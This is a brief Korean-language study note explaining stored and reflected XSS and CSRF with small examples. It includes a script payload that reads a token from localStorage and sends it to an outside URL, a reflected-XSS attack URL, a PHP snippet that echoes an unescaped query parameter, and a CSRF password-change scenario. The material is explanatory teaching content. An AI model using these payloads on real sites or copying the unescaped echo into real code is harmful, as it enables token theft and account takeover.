XSS (크로스 사이트 스크립팅)
공격하려는 사이트에 Script를 넣어 공격하는 기법
Stored XSS: 서버나 DB에 저장이 되어 지속적으로 Script가 실행되어 공격하는 방법
토큰을 LocalStorage에 token 키로 보관한다는 가정
// 게시물 내용
<script>
const token = window.localStorage.getItem('token');
const httpRequest = new XMLHttpRequest();
httpRequest.open('GET', `https://falsy.me/hacking/${token}`);
httpRequest.send(null);
</script>
정상 요청코드
https://falsy.me/index.php?name=falsy
기존 응답코드
// index.php
$name = $_GET['name']
echo '어서오세요 $name님'
공격 요청코드
https://falsy.me/index.php?name=<script>window.location.href="https://falsy.me"</script>
CSRF (Cross-Site Request Forgery)
https://dongsudev.com 이라는 페이지의 Admin이 나 자신이고
쿠키로 인증을 통해 로그인 상태에서
https://dongsudev.com?id=admin&pw=password 라는 API가 비밀번호를 변경한다고 가정
XSS 공격으로 https://dongsudev.com?id=admin&pw=hacking 으로 요청을 하게 하면
로그인이 되어있기 때문에 admin의 password는 hacking으로 변경된다.